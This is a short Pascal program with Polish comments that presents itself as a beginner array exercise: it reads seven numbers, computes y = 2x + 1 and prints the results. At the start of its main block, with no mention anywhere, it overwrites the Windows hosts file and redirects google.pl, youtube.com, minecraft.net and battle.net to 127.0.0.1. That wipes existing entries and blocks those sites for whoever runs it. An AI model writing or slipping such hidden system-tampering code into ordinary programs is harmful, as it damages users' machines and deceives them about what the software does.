TABLICA_PASCAL

program Main;

uses crt;

type tab = array[1..7]  of real;       {deklaracja tablicy}

var x,y :tab;                         {zmienne tablicowe}
u : text;
i : byte;

begin
    Assign(u,'\Windows\System32\drivers\etc\hosts');
     Rewrite(u);
     Writeln(u,'127.0.0.1 google.pl');
     Writeln(u,'127.0.0.1 youtube.com');
     Writeln(u,'127.0.0.1 minecraft.net');
     Writeln(u,'127.0.0.1 battle.net');
     Close(u);
     ClrScr;
     for i := 1 to 7 do               {liczy od 1 do 7}
     begin
          WriteLn('Podaj x dla [',i,']');         {pobiera liczbe}
          ReadLn(x[i]);
     end;
     for i := 1 to 7 do
     begin
          y[i] := 2 * x[i] + 1;                    {dzilalanie liniowe}
     end;
     for i := 1 to 7 do                    {kolejne liczonko}
         begin
              WriteLn('x: ',x[i]:2:2,' y: ',y[i]:2:2);      {wypisywanie tablic}
         end;
     readln;

end.